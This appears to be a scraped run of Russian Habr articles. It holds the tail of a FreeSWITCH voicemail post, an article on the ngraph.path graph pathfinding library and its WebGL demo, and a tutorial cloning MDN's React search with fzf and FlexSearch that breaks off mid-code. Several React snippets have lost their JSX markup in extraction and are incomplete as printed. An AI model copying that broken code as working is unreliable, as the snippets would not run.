*ru/RU/elena/voicemail/\_bitrate\_/* переименовать файл *vm-not\_available\_no\_voicemail.wav* и дать ему новое имя *vm-no\_answer\_no\_vm.wav*. Только после этой манипуляции я получил голосовой отклик на событие недоступности вызываемого абонента. P.S.: Как и [предыдущая часть](https://habrahabr.ru/post/348458/), данный текст был написан исключительно с целью документирования возникающих сложностей и путей их решения. Несмотря на то, что текст так же освещает быстрый старт с нуля все того же FreeSWITCH'а, пусть и с «графическим лицом», считаю, что текст самодостаточный и является неким форком, и имеет право на самостоятельную жизнь. Предыдущая часть так же сохраняет некоторую ценность благодаря описанной настройке сетевого оборудования. Некорректные настройки в том тексте будут исправлены и приведены к тем, что используются в данной статье.
https://habr.com/ru/post/353156/
null
ru
null
# Библиотека быстрого поиска путей на графе Привет, Друзья! Я написал библиотеку поисков путей на произвольных графах, и хотел бы [поделиться ей с вами](http://github.com/anvaka/ngraph.path). Пример использования на огромном графе: Поиграться с демо можно [здесь](https://anvaka.github.io/ngraph.path.demo/) В библиотеке используется мало-известный вариант `A*` поиска, который называется [`NBA*`](https://repub.eur.nl/pub/16100/ei2009-10.pdf). Это двунаправленный поиск, с расслабленными требованиями к функции-эвристике, и очень агрессивным критерием завершения. Не смотря на свою малоизвестность у алгоритма отличная скорость сходимости к оптимальному решению. Описание разных вариантов `A*` уже не раз встречалось на хабре. Мне очень понравилось [вот это](https://habrahabr.ru/company/2gis/blog/326638/), потому повторяться в этой статье я не буду. Под катом расскажу подробнее почему библиотека работает быстро и о том, как было сделано демо. Почему библиотека работает быстро? ================================== > "Как-то не верится что так быстро. Ты точно ниче не считаешь предварительно?" > > *Реакция друга, который первый раз увидел библиотеку.* Сразу должен признаться, я не верю что моя реализация — самая быстрая из возможных. Она работает достаточно быстро учитывая окружение в котором находится (браузер, javascript). Ее скорость сильно будет зависеть от размера графа. И, конечно же, то, что сейчас есть в [репозитории](https://github.com/anvaka/ngraph.path) можно ускорить и улучшить. Статистика ---------- Для замера производительности я взял граф дорог из Нью-Йорка ( ~`730 000` ребер, `260 000` узлов). Таблица ниже показывает статистику времени, необходимого для решения одной задачи поиска пути из 250 случайно выбранных: | | Среднее | Медиана | Min | Max | p90 | p99 | | --- | --- | --- | --- | --- | --- | --- | | A\* ленивый (локальный) | 32ms | 24ms | 0ms | 179ms | 73ms | 136ms | | NBA\* | 44ms | 34ms | 0ms | 222ms | 107ms | 172ms | | A\*, однонаправленный | 55ms | 38ms | 0ms | 356ms | 123ms | 287ms | | Дейкстра | 264ms | 258ms | 0ms | 782ms | 483ms | 631ms | Каждый алгоритм решал одну и ту же задачу. `A* ленивый` самый быстрый, но его решение не всегда оптимально. По-сути, это двунаправленный `A*` который сразу же выходит как только оба поиска встретились. `NBA*` двунаправленный, сходится к оптимальному решению. В `99%` ему понадобилось меньше чем `172` миллисекунды, чтобы найти кратчайший путь (p99). Оптимизации ----------- Библиотека работает относительно быстро по нескольким причинам. Во-первых, я [изменил структуру данных в приоритетной очереди](https://github.com/anvaka/ngraph.path/blob/master/a-star/NodeHeap.js) таким образом, что обновление приоритета любого элемента очереди занимает `O(lg n)` времени. Это достигается тем, что каждый элемент отслеживает свою позицию в куче во время перестройки очереди. Во-вторых, во время нагрузочных тестов я заметил, что уборка мусора занимает значительное время. Это не удивительно, поскольку алгоритм создает много маленьких объектов когда он ходит по графу. Решается проблема со сборщиком мусора при помощи [пула объектов](https://github.com/anvaka/ngraph.path/blob/master/a-star/nba/makeNBASearchStatePool.js). Это структура данных которая позволяет повторно использовать объекты, когда они уже не нужны. Ну и наконец, алгоритм поиска `NBA*` имеет очень красивый и жесткий критерий посещения узлов. Признаться, я думаю что это не предел совершенства. Вполне вероятно, если использовать иерархический подход, [описанный Борисом](https://habrahabr.ru/company/2gis/blog/326638/) удастся ускорить время для еще больших графов. Как работает демо? ================== Создание библиотеки это, конечно, очень интересно. Но мне кажется демо-проект заслуживает отдельного описания. Я усвоил несколько уроков, и хотел бы поделиться с вами, в надежде, что это окажется полезным. Прежде чем начнем. Кто-то меня спросил: "Но ведь это же граф? Как можно карту представить в виде графа?". Легче всего представить каждый перекресток узлом графа. У каждого перекрестка есть позиция `(x, y)`. Каждый прямой участок дороги сделаем ребром графа. Изгибы дороги можно моделировать как частный случай перекрестков. Готовим данные -------------- Конечно, я слышал об <https://www.openstreetmap.org>, но их внешний вид меня не сильно привлекал. Когда же я обнаружил API и инструменты типа <http://overpass-turbo.eu/> — это как новый мир открылся перед глазами :). Данные они отдают под лицензией [ODbL](https://opendatacommons.org/licenses/odbl/summary/), которая требует чтобы их упомянули (чем больше людей знают о сервисе — тем лучше становится сервис). API позволяет делать очень сложные запросы, и дает потрясающие объемы информации. Например, такой запрос даст все велодороги в Москве: ``` [out:json]; // Сохранить область в переменную `a` (area["name"="Москва"])->.a; // Скачать все дороги внутри a у которых аттрибут `highway == cycleway` way["highway"="cycleway"](area.a); // и объединить дороги с узлами графа (узлы содержат геопозицию) node(w); // Наконец, вернуть результаты out meta; ``` API очень хорошо описано здесь: <http://wiki.openstreetmap.org/wiki/Overpass_API> Я написал [три маленьких скрипта](https://github.com/anvaka/playground/tree/master/extract-osm-roads), чтобы автоматизировать получение дорог для городов, и сохранять их в мой формат графа. Сохраняем граф -------------- Данные OSM отдает в виде XML или JSON. К сожалению оба форматы слишком объемные — карта Москвы со всеми дорогами занимает около `47MB`. Моя же задача была сделать загрузку сайта как можно быстрее (даже на мобильном соединении). Можно было бы попробовать сжать `gzip`'ом — карта Москвы из 47МБ превращается в 7.1МБ. Но при таком подходе у меня не было бы контроля над скоростью распаковки данных — их бы пришлось парсить javascript'ом на клиенте, что тоже повлияло бы на скорость инициализации. Я решил написать свой формат для графа. Граф разбивается на два бинарных файла. Один с координатами всех вершин, а второй с описанием всех ребер. Файл с координатами — это просто последовательность из `x, y` пар (int32, 4 байта на координату). Смещение по которому находится пара координат я рассматриваю как иденификатор вершины (`nodeId`). ![координаты](https://habrastorage.org/r/w1560/getpro/habr/post_images/abc/ea4/5eb/abcea45ebe2435b91dd6ae2a3bbf4f63.png) Ребра графа превращаются в обычную последовательность пар `fromNodeId, toNodeId`. ![ребра](https://habrastorage.org/r/w1560/getpro/habr/post_images/3cd/61b/980/3cd61b98023e2e1c74dd32007f7ad109.png) Последовательность на картинке означает, что первый узел ссылается на второй, а второй ссылается на третий, и так далее. Общий размер для графа с `V` узлами и `E` ребрами можно подсчитать как: ``` storage_size = V * 4 * 2 + # 4 байта на пару координат на узел E * 4 * 2 = # 4 байта на пару идентификаторов вершин (V + E) * 8 # суммарно, в байтах ``` Это не самый эффективный способ сжатия, но его очень легко реализовать и можно очень быстро восстановить начальный граф на клиенте. Типизированные массивы в javascript'e работают быстрее, чем парсинг JSON'a. Сначала я хотел добавить также вес ребер, но остановил себя, ибо загрузка на слабом мобильном соединении даже для маленьких графах станет еще медленнее. В первую очередь мобильные телефоны ----------------------------------- Когда я писал демо, я думал, что напишу о нем в Твиттер. Твиттер большинство людей читают с мобилок, а потому и демо должно быть в первую очередь рассчитано на мобильные телефоны. Если оно не будет загружаться быстро, или не будет поддерживать touch — пиши пропало. *Спустя пару дней после анонса, можно признать логику выше оправданной. [Твит с анонсом демо](https://twitter.com/anvaka/status/910921384926134273) стал самым популярным твитом в жизни моего твиттера.* Я тестировал демо в первую очередь на платформах iPhone и Андроид. Для тестов на Андроиде я нашел самый дешевый телефон и использовал его. Это очень сильно помогло с отладкой производительности и удобства использования на маленьком экране. Асинхронность ------------- Самая медленная часть в демо была начальная загрузка сайта. Код, который инициализировал граф выглядел как-то так: ``` for (let i = 0; i < points.length; i += 2) { let nodeId = Math.floor(i / 2); let x = points[i + 0]; let y = points[i + 1]; // graph это https://github.com/anvaka/ngraph.graph graph.addNode(nodeId, { x, y }) } ``` На первый взгляд — ничего плохого. Но если запустить это на слабеньком процессоре и на большом графе — страничка становится мертвой, пока основной поток занят итерацией. Выход? Я знаю, некоторые используют Web Workers. Это прекрасное решение, учитывая что все сейчас многоядерное. Но в моем случае, использование web workers значительно бы продлило время, необходимое для создания демо. Нужно было бы продумать как передавать данные между потоками, как синхронизировать, как сохранить жизнь батарее, как быть когда web workers не доступны и т.д. Поскольку мне не хотелось тратить больше времени, нужно было более ленивое решение. Я решил просто разбить цикл. Просто запускаем его на некоторое время, смотрим сколько времени прошло, и потом вызываем `setTimeout()` чтобы продолжить на следующей итерации цикла событий. Все это сделано в библиотеке [rafor](https://github.com/anvaka/rafor). С таким решением у браузера появляется возможность постоянно информировать пользователя о том, что происходит внутри: ![прогресс](https://habrastorage.org/getpro/habr/post_images/a0b/794/63e/a0b79463e048efcb5b5fa56f4d0d5e9e.gif)  Отрисовка ---------- Теперь, когда у нас загружен граф, нужно показать его на экране. Конечно, использовать SVG для отрисовки миллиона элементов не годится — скорость начнет проседать после первого десятка тысяч. Можно было бы нарезать граф на тайлы, и использовать [Leaflet](http://leafletjs.com/) или [OpenSeadragon](https://openseadragon.github.io/) чтоб нарисовать большую картинку. Мне же хотелось иметь больше контроля на кодом (и подучить WebGL), поэтому я написал свой WebGL отрисовщик с нуля. Там я использую подход "scene graph". В таком подходе мы строим сцену из иерархии элементов, которые можно нарисовать. Во время отрисовки кадра, мы проходим по графу, и даем возможность каждому узлу накопить трансформации или вывести себя на экран. Если вы знакомы с three.js или даже обычным DOM'ом — подход будет не в новинку. *Отрисовщик доступен [здесь](https://github.com/anvaka/wgl), но я намеренно не документировал его сильно. Это проект для моего собственного обучения, и я не хочу создавать впечатление, что им можно пользоваться :)* Батарейка --------- ![батарейка](https://habrastorage.org/r/w1560/getpro/habr/post_images/034/335/dc5/034335dc584ce56cbf1c99507beeee26.png) Изначально, я перерисовывал сцену на каждом кадре. Очень быстро я понял, что это сильно греет телефон и батарея уходит в ноль с примечательной скоростью. Писать код при таких условиях было так же неудобно. Для работы над проектом, я обычно заседал в кофейне в свободное время, где не всегда были розетки. Поэтому мне нужно было либо научиться думать быстрее, либо найти способ не сажать ноутбук так быстро. Я до сих пор не нашел способ как думать быстрее, потому я выбрал второй вариант. Решение оказалось по-наивному простым: > Не рисуй сцену на каждом кадре. Рисуй только когда попросили, или когда знаешь, что она поменялась. Может, это покажется слишком очевидным сейчас, но это было вовсе не так сначала. Ведь в основном все примеры использования WebGL описывают простой цикл: ``` function frame() { requestAnimationFrame(frame); // Планируем следующий кадр renderScene(); // рисуем текущий кадр. // Ничего плохого в этом нет, но батарею мы можем так быстро посадить } ``` С "консервативным" подходом, мне нужно было вынести `requestAnimationFrame()` наружу из функции `frame()`: ``` let frameToken = 0; function renderFrame() { if (!frameToken) frameToken = requestAnimationFrame(frame); } function frame() { frameToken = 0; renderScene(); } ``` Такой подход позволяет кому угодно затребовать нарисовать следующий кадр. Например, когда пользователь перетащил карту и изменил матрицу преобразования, [`мы вызываем renderFrame()`](https://github.com/anvaka/wgl/blob/1abd96b7ff0cc9c0c037503d528ce426fe6d9794/src/scene.js#L193). Переменная `frameToken` помогает избежать повторного вызова `requestAnimationFrame` между кадрами. Да, код становится немного сложнее писать, но жизнь батарее для меня была важнее. Текст и линии ------------- WebGL не самый простой в мире API. Особенно сложно в нем работать с текстом и толстыми линиями (у которых ширина больше одного пикселя). ![текст и линии](https://habrastorage.org/getpro/habr/post_images/64e/af4/39b/64eaf439b0eb2263481be113f5af8dea.gif) Учитывая что я совсем новичок в этом деле, я быстро понял, что добавить поддержку текста/линий займет у меня очень много времени. С другой стороны, из текста мне нужно было нарисовать только пару меток `A` и `B`. А из толстых линий — только путь который соединяет две вершины. Задача вполне по силам для DOM'a. Как вы помните, наш отрисовщик использует граф сцены. Почему бы не добавить в сцену еще один элемент, задачей которого будет применять текущую трансформацию к… SVG элементу? Этот SVG элемент сделаем прозрачным, и положим его сверху на canvas. Чтобы убрать все события от мышки — ставим ему `pointer-events: none;`. ![svg сверху](https://habrastorage.org/r/w1560/getpro/habr/post_images/3f6/710/09e/3f671009e006a992aea5f16876de0504.png) [Получилось](https://github.com/anvaka/ngraph.path.demo/blob/master/src/SVGContainer.js) очень быстро и сердито. Перемещаемся по карте --------------------- Мне хотелось сделать так, чтобы навигация была похожа на типичное поведение карты (как в Google Maps, например). У меня уже была написана библиотека навигации для SVG: [anvaka/panzoom](https://github.com/anvaka/panzoom). Она поддерживала touch и кинетическое затухание (когда карта продолжает двигаться по инерции). Для того чтобы поддерживать WebGL мне пришлось чуть-чуть подправить библиотеку. `panzoom` слушает события от пользователя (`mousedown`, `touchstart`, и т.п.), применяет плавные трансформации к матрице преобразования, и потом, вместо того чтобы напрямую работать с SVG, она отдает матрицу "контроллеру". Задача контроллера — применить трансформацию. Контролер может быть для SVG, для DOM или даже [мой собственный контроллер](https://github.com/anvaka/wgl/blob/1abd96b7ff0cc9c0c037503d528ce426fe6d9794/src/scene.js#L183-L200), который применяет трансформацию к WebGL сцене. Как понять что кликнуто? ------------------------ Мы обсудили как загрузить граф, как его нарисовать, и как двигаться по нему. Но как же понять что было нажато, когда пользователь касается графа? Откуда прокладывать путь и куда? Когда пользователь кликнул на карту, мы могли бы самым простым способом обойти все точки в графе, посмотреть на их позиции и найти ближайшую. На самом деле, это отличный способ для пары тысяч точек. Если же число точек превышает десятки/сотни тысяч — производительность будет не приемлема. Я использовал [квад дерево](https://ru.wikipedia.org/wiki/%D0%94%D0%B5%D1%80%D0%B5%D0%B2%D0%BE_%D0%BA%D0%B2%D0%B0%D0%B4%D1%80%D0%B0%D0%BD%D1%82%D0%BE%D0%B2) чтобы проиндексировать точки. После того как дерево создано — скорость поиска ближайшего соседа становится логарифмической. Кстати, если термин "квад дерево" звучит устрашающе — не стоит огорчаться! На самом деле квад-деревья, очень-очень похожи на обычные двоичные деревья. Их легко усвоить, легко реализовать и легко применять. В частности, я использовал собственную реализацию, [библиотека yaqt](https://github.com/anvaka/yaqt), потому что она неприхотлива по памяти для моего формата данных. Существуют лучшие альтернативы, с хорошей документацией и сообществом (например, [d3-quadtree](https://github.com/d3/d3-quadtree)). Ищем путь --------- Теперь все части на своих местах. У нас есть граф, мы знаем как его нарисовать, знаем что было на нем нажато. Осталось только найти кратчайший путь: ``` // pathfinder это объект https://github.com/anvaka/ngraph.path let path = pathFinder.find(fromId, toId); ``` Теперь у нас есть и массив вершин, которые лежат на найденном пути. Заключение ========== Надеюсь, вам понравилось это маленькое путешествие в мир графов и коротких путей. Пожалуйста, дайте знать если библиотека пригодилась, или если есть советы как сделать ее лучше. Искренне желаю вам добра! Андрей.
https://habr.com/ru/post/338440/
null
ru
null
# Хочу поиск как у MDN ![](https://habrastorage.org/r/w1560/webt/jc/hw/st/jchwst6a3nwlxlscnmuw5tdhmry.png) Привет, друзья! Недавно (где-то в конце августа) у MDN появился новый (крутой, по заявлению разработчиков) поиск. Речь идет об этом виджете на главной странице: ![](https://habrastorage.org/r/w1560/webt/34/j7/tq/34j7tqebk9v61hlfas_d-gzb8q8.png) ![](https://habrastorage.org/r/w1560/webt/7y/jo/9s/7yjo9s4mfq886c-mixhcxjxznxe.png) Основной код виджета находится [здесь](https://github.com/mdn/yari/blob/main/client/src/search.tsx), а все остальное, кроме данных для поиска, можно найти [здесь](https://github.com/mdn/yari/tree/main/client/src). Данные для поиска также найти не сложно — для этого достаточно добавить к `https://developer.mozilla.org` локаль, например, `/ru` и `/search-index.json`: ![](https://habrastorage.org/r/w1560/webt/od/5q/k9/od5qk9sgcoxeqqjw2am_u6mbfny.png) Код поиска написан на `React` и `TypeScript`. Что это означает? Это означает, что мы с вами можем провести его обратную разработку. Если вам это интересно, прошу следовать за мной. *Обратите внимание*: данная статья рассчитана на разработчиков, которые имеют некоторый опыт работы с `React`. Желательно также иметь хотя бы общее представление о `TypeScript`. Для удобства я вынес весь код, связанный с поиском в отдельный проект, исходный код которого находится [здесь](https://github.com/harryheman/Blog-Posts/tree/master/mdn-search-clone). Практически каждая строка кода проекта снабжена подробным комментарием. Скриншот проекта: ![](https://habrastorage.org/r/w1560/webt/tp/fa/gw/tpfagw-0c1byhodccxe2oslwurs.png) **Песочница:** Команды для локального запуска проекта: ``` git clone https://github.com/harryheman/mdn-search-clone.git cd mdn-search-clone yarn yarn start ``` Общая логика поиска MDN такова: * Когда пользователь заходит на главную страницу сайта, мы показываем ему упрощенную версию поискового виджета (болванку). Это избавляет пользователя от загрузки лишних данных в случае, когда он не будет пользоваться поиском * Когда пользователь выражает намерение воспользоваться поиском, мы выполняем инициализацию поискового индекса и заменяем болванку на настоящий виджет * Намерение пользователя воспользоваться поиском определяется по наведению курсора на виджет или установке фокуса на инпут с помощью клавиатуры или при нажатии `/` * Инициализация поискового индекса начинается с получения данных для поиска с помощью хука `useSWR` из [`SWR`](https://swr.vercel.app/) на основе локали пользователя, которая содержится в `URI` (например, `https://developer.mozilla.org/ru`) * Файл с данными для поиска называется `search-index`, имеет формат `JSON` и представляет собой массив объектов с двумя полями — заголовком и адресом статьи, например, `{ title: 'Веб-технологии для разработчиков', url: '/ru/docs/Web' }` * Сам поиск выполняется после нажатия пользователем клавиши `Enter` и может быть двух видов: + поиск по `url` — для этого используется [`Fzf`](https://fzf.netlify.app/docs/latest) (я перевел "fuzzy search" как "неточный поиск", но не уверен, что это правильно). Данный поиск выполняется, когда строка для поиска начинается с `/` и не содержит пробелов + поиск по `title` — для этого используется [`FlexSearch`](https://github.com/nextapps-de/flexsearch) (полнотекстовый поиск) * После получения результатов поиска мы рендерим их с помощью хука `useCombobox` из [`Downshift`] — это обеспечивает доступность выпадающего списка * При наведении пользователем курсора на результат поиска, мы начинаем загрузку данных для соответствующей статьи (`prefetching`) * При клике пользователем по результату поиска, мы перенаправляем его на страницу соответствующей статьи * Статья для предварительной загрузки и перенаправления определяется с помощью `Downshift` * При нажатии пользователем `Enter` после ввода строки для поиска, мы перенаправляем его на страницу поиска * Если для строки поиска не найдено совпадений, мы сообщаем об этом пользователю и предлагаем ему перейти на страницу поиска Отличия проекта от оригинала состоят в следующем: * Отсутствует получение локали пользователя для формирования адреса статьи, поскольку мы работаем только с одной локалью — `ru` * Вместо переключения страниц выполняется открытие страницы на сайте `MDN` в новой вкладке браузера * Отсутствует предварительная загрузка данных для статей, поскольку у нас нет этих данных * Я не стал скрывать кнопку для очистки инпута, предоставляемую `Donwshift`, под иконкой лупы (синий крестик), как это сделано в оригинале * Я добавил обработчик нажатия кнопки для отправки формы (лупа) (в оригинале эта кнопка не работает) Вместе с тем, я сохранил оригинальный код в закомментированном виде (и комментарии разработчиков поиска), кроме кода для `prefething`. Рассмотрим, как работает поиск. С вашего позволения, я немного упрощу оригинальный код. Сначала мы получаем данные: ``` // Индикатор начала инициализации const [shouldInitialize, setShouldInitialize] = useState(false) // Поисковый индекс const [searchIndex, setSearchIndex] = useState(null) // Адрес данных для поиска const url = `/search-index.json` const { error, data } = useSWR( shouldInitialize ? url : null, async (url) => { // Получаем ответ const response = await fetch(url) if (!response.ok) { // Если возникла ошибка, выбрасываем исключение // с сообщением в виде текста throw new Error(await response.text()) } // Возвращаем ответ в формате `JSON` return await response.json() }, // Отключаем повторную валидацию - выполнение повторного запроса при возвращении фокуса { revalidateOnFocus: false } ) ``` Такая сигнатура хука включает режим ожидания — `useSWR` ждет начала инициализации. Другими словами, он запустится автоматически, как только `shouldInitialize` получит значение `true`. К слову, для отключения повторной валидации (revalidation) при возвращении фокуса и в некоторых других случаях в последних версиях `SWR` предназначен хук [`useSWRImmutable`](https://swr.vercel.app/docs/revalidation#disable-automatic-revalidations) из `swr/immutable`. Далее с помощью полученных данных инициализируется поиск: ``` // Мы подробно рассмотрим каждый вид поиска ниже const flex = new FlexSearch.Index({ tokenize: 'forward' }) data.forEach(({ title }, i) => { flex.add(i, title) }) // Обертка над `fzf` const fuzzy = new FuzzySearch(data) setSearchIndex({ flex, fuzzy, items: data }) ``` Логика инициализации поискового индекса инкапсулирована в хуке `useSearchIndex`: ``` function useSearchIndex() { // Получение данных и инициализация индекса return useMemo( () => [ searchIndex, error || null, () => setShouldInitialize(true) ], [searchIndex, error, setShouldInitialize] ) } ``` Как мы видим, хук возвращает массив, состоящий из поискового индекса, ошибки, которая может иметь значение `null`, и функции для запуска инициализации. Остановимся на том, как работает каждый вид поиска. Для определения того, какой поиск следует использовать (неточный или полнотекстовый) применяется такая функция: ``` function isFuzzySearchString(str: string) { // Данная функция возвращает `true`, // если строка начинается с `/` и не содержит пробелов return str.startsWith('/') && !/\s/.test(str) } ``` Рассмотрим работу `fzf` и `flexsearch` на практических примерах. Предположим, что у нас имеются такие данные для поиска: ``` const data = [ { title: 'Веб-технологии для разработчиков', url: '/ru/docs/Web' }, { title: 'Стандартные встроенные объекты', url: '/ru/docs/Web/JavaScript/Reference/Global_Objects' }, { title: 'Справочник по JavaScript', url: '/ru/docs/Web/JavaScript/Reference' }, { title: 'JavaScript', url: '/ru/docs/Web/JavaScript' }, { title: 'Array', url: '/ru/docs/Web/JavaScript/Reference/Global_Objects/Array' } ] ``` И мы хотим выполнять поиск по `url` объектов. Для этого отлично подойдет `fzf`: ``` import { useState } from 'react' // yarn add fzf import { Fzf } from 'fzf' const data = [ { title: 'Веб-технологии для разработчиков', url: '/ru/docs/Web' }, { title: 'Стандартные встроенные объекты', url: '/ru/docs/Web/JavaScript/Reference/Global_Objects' }, { title: 'Справочник по JavaScript', url: '/ru/docs/Web/JavaScript/Reference' }, { title: 'JavaScript', url: '/ru/docs/Web/JavaScript' }, { title: 'Array', url: '/ru/docs/Web/JavaScript/Reference/Global_Objects/Array' } ] // Форматируем данные подобно тому, как это сделано в оригинале const formattedData = data.map(({ title, url }) => ({ title, url: url .split('/') .slice(1) .filter((i) => i !== 'docs') .join(' / ') })) /* Было, например, `/ru/docs/Web/JavaScript`, стало `ru / Web / JavaScript` */ // Создаем экземпляр `fzf` // Конструктор принимает данные для поиска и объект с настройками const fzf = new Fzf(formattedData, { // Количество возвращаемых (лучших) результатов limit: 3, // Поле для поиска selector: (item) => item.url }) ``` В документации `fzf` имеется пример реализации подсветки совпадения: ``` // `url` - это совпавшая строка // `positions` - набор индексов совпавших символов const HighlightChars = ({ url, positions }) => { const chars = url.split('') const nodes = chars.map((char, i) => { if (positions.has(i)) { return **{char}** } else { return char } }) return <>{nodes} } ``` Простой компонент для поиска: ``` export const FzfSearch = () => { // Строка для поиска const [value, setValue] = useState('') // Результаты const [results, setResults] = useState([]) const search = (e) => { e.preventDefault() // Выполняем поиск const results = fzf.find(value.trim()) // console.log(results) /* [ { item: { title: 'Стандартные встроенные объекты', url: 'ru / Web / JavaScript / Reference / Global_Objects' }, positions: Set(4) { 14, 13, 12, 11 }, start: 11, end: 15, // чем выше `score`, тем лучше score: 104 }, // ... ] */ // Обновляем результаты setResults(results) } return ( <> setValue(e.target.value)} /> Search {results.map((result, i) => ( * ))} ) } ``` Если ввести в инпуте `java` и нажать `Enter`, результат будет таким: ![](https://habrastorage.org/r/w1560/webt/74/wm/by/74wmbygadpfphrlh33pmhexw_yi.png) Почему бы для такого поиска не воспользоваться методом `String.prototype.includes()`? Хороший вопрос. Насколько я понимаю, `fzf` выигрывает в производительности при большом количестве объектов для поиска и при больших (длинных) значениях строки для поиска. Кроме того, он умеет определять наличие в строке искомых символов, которые находятся в разных местах строки. Например, предположим, что у нас имеется строка `aaYbbbbXccc` и мы ввели в инпуте `yx`. Такая строка будет обнаружена `fzf`, но не методом `includes()`, поскольку символы `y` и `x` не следуют друг за другом. Но, если наши объекты отсортированы по популярности, как в `search-index.json`, то при длине строки для поиска менее 4 символов (<= 3), как утверждают разработчики поиска, выборка подходящих объектов с помощью метода `includes()` будет более быстрой, чем исследование каждого объекта с помощью `fzf`. Вот почему для поиска используется "оптимизирующая" обертка над `fzf`. Оптимизация заключается в том, что мы сокращаем список объектов, передаваемых в конструктор `fzf`. **fuzzy-search.ts** ``` import { Fzf, FzfResultItem } from 'fzf' // Тип для результата поиска export interface Doc { url: string title: string } // Класс-обертка для поиска export class FuzzySearch { // Данные для поиска docs: Doc[] constructor(docs: Doc[]) { // Инициализация данных для поиска this.docs = docs } // Метод для поиска // Принимает строку для поиска и объект с настройками: // настройкой по умолчанию является // ограничение на 10 элементов (см. ниже) search(needle: string, { limit = 10 }): FzfResultItem[] { // Use `let` because we might come up with a new list (aka. shortlist) // that makes the haystack search much simpler to send to `Fzf()`. // Используем `let`, поскольку список переданных объектов (данных для поиска) // в случае, когда строка состоит менее чем из 4 символов, // будет сокращен let docs = this.docs // The list of docs is possible over 10,000 entries (in 2021). If the // search input is tiny, don't bother with the overhead of Fzf(). // Because we don't even need it when the test is so easy in that // it just needs to contain a single character. // Количество объектов для русской локали по состоянию на 24.10.2021 составляет 2910. // Если строка для поиска состоит менее чем из 4 символов if (needle.length <= 3) { const needleLowerCase = needle.toLowerCase() // The reason this works and makes sense is because the `this.docs` is // already sorted by popularity. // So if someone searches for something short like `x` we just take // the top 'limit' docs that have an `x` in the `.url`. This is // faster than going through every doc with Fzf. // Причина, по которой это работает, состоит в том, // что объекты `this.docs` уже отсортированы по популярности. // Поэтому если строка для поиска состоит, например, из `x`, // мы просто берем 10 первых документов, в которых встречается `x`. // Это быстрее, чем исследование каждого документа с помощью `Fzf`. // Создаем переменную для сокращенного списка const shortlistDocs: Doc[] = [] // Перебираем данные для поиска for (const doc of this.docs) { // Если в документе встречается строка для поиска (без учета регистра) if (doc.url.toLowerCase().includes(needleLowerCase)) { // Помещаем документ в сокращенный список shortlistDocs.push(doc) // Прекращаем перебор при достижении лимита if (shortlistDocs.length === limit) { break } } } // Suppose the needle was `yx` and the `limit` as 10, then if we only found // 9 (which is less than 10) docs that match exactly this, then we might // be missing out, so we can't use the shortlist. // For example, there might be more docs like `aaYbbbbXccc` which // will be found by Fzf() but wouldn't be find in our shortlist because // the two characters aren't next to each other. // Предположим, что строка имеет значение `yx`, а `limit` - 10, // если мы обнаружили только 9 (т.е. менее 10) подходящих документов, // то не можем использовать сокращенный список. // Предположим, что в документе имеется строка `aaYbbbbXccc`. // Такая строка будет обнаружена `Fzf`, но ее не будет в нашем сокращенном списке, // поскольку символы `y` и `x` не следуют друг за другом. // Используем сокращенный список, только если его // длина превышает или равняется лимиту if (shortlistDocs.length >= limit) { docs = shortlistDocs } } // Создаем экземпляр поиска const haystack = new Fzf(docs, { // Лимит limit, // Поле для поиска selector: (item: Doc) => item.url }) // All longer strings, default to using the already initialized `Fzf()` instance. // Для более длинных строк используется существующий экземпляр поиска return haystack.find(needle) } } ``` Отлично. С `fzf` разобрались. В остальных случаях (когда строка запроса начинается не с `/` или содержит пробелы) выполняется поиск по `title`. Для этого используется полнотекстовый поиск. ``` import { useState } from 'react' // yarn add flexsearch import { Index } from 'flexsearch' const data = [ { title: 'Веб-технологии для разработчиков', url: '/ru/docs/Web' }, { title: 'Стандартные встроенные объекты', url: '/ru/docs/Web/JavaScript/Reference/Global_Objects' }, { title: 'Справочник по JavaScript', url: '/ru/docs/Web/JavaScript/Reference' }, { title: 'JavaScript', url: '/ru/docs/Web/JavaScript' }, { title: 'Array', url: '/ru/docs/Web/JavaScript/Reference/Global_Objects/Array' } ] const flex = new Index({ tokenize: 'forward' }) data.forEach(({ title }, i) => { flex.add(i, title) }) // Реализация подсветки совпадения из оригинала const HighlightMatch = ({ title, q }) => { const words = q.trim().toLowerCase().split(/[ ,]+/) const regexWords = words.map((s) => s.replace(/[.*+?^${}()|[\]\\]/g, '\\$&')) const regex = `\\b(${regexWords.join('|')})` const parts = title.split(new RegExp(regex, 'gi')) return ( <> {parts.map((part, i) => { const key = `${part}:${i}` if (words.includes(part.toLowerCase())) { return {part} } else { return {part} } })} ) } // Компонент поиска export const FlexSearch = () => { const [value, setValue] = useState('') const [results, setResults] = useState([]) const search = (e) => { e.preventDefault() const indexes = flex.search(value, { limit: 3 }) // console.log(indexes) // [3, 2] const results = indexes.map((i) => data[i]) setResults(results) } return ( <> setValue(e.target.value)} /> Search {results.map((result, i) => ( * ))} ) } ``` При создании экземпляра в конструктор `Index` может передаваться объект с настройками. В данном случае мы определяем режим индексации `tokenize: 'forward'`. `forward` означает инкрементальную (частичную) индексацию в прямом направлении, т.е. вперед. Подробнее об этом можно почитать [здесь](https://github.com/nextapps-de/flexsearch#tokenizer-prefix-search). Затем мы перебираем объекты данных для поиска и записываем их заголовки в индекс под идентификаторами (индексами объектов). Метод `flex.search()` принимает строку для поиска и опциональный объект с настройками и возвращает массив индексов совпадений. Мы перебираем этот массив и извлекаем из данных для поиска соответствующие объекты. Если ввести в инпуте `java` и нажать `Enter`, результат будет таким: ![](https://habrastorage.org/r/w1560/webt/c1/n8/my/c1n8myvr6h1r9rbln35t8jksoqu.png) К слову, в документации `flexsearch` имеется ссылка на хук [`useFlexSearch`](https://github.com/angeloashmore/react-use-flexsearch), однако он не совместим с новым синтаксисом `flexsearch`. Если его немного причесать, получится следующее: ``` import { useState, useMemo, useEffect } from 'react' import { Index } from 'flexsearch' export const useFlexSearch = (query, providedIndex, store, searchOptions) => { const [index, setIndex] = useState(null) useEffect(() => { if (!providedIndex && !store) console.warn( 'A FlexSearch index and store was not provided. Your search results will be empty.' ) else if (!providedIndex) console.warn( 'A FlexSearch index was not provided. Your search results will be empty.' ) else if (!store) console.warn( 'A FlexSearch store was not provided. Your search results will be empty.' ) }, [providedIndex, store]) useEffect(() => { if (!providedIndex) { setIndex(null) return } if (providedIndex instanceof Index) { setIndex(providedIndex) return } // Если `providedIndex` - это строка, if (typeof providedIndex === 'string') { const importedIndex = new Index(searchOptions) // Данные для поиска импортируются из локального хранилища importedIndex.import(providedIndex, localStorage.getItem(providedIndex)) setIndex(importedIndex) return } }, [providedIndex, searchOptions]) return useMemo(() => { if (!query || !index || !store) return [] const rawResults = index.search(query, searchOptions) return rawResults.map((id) => store[id]) 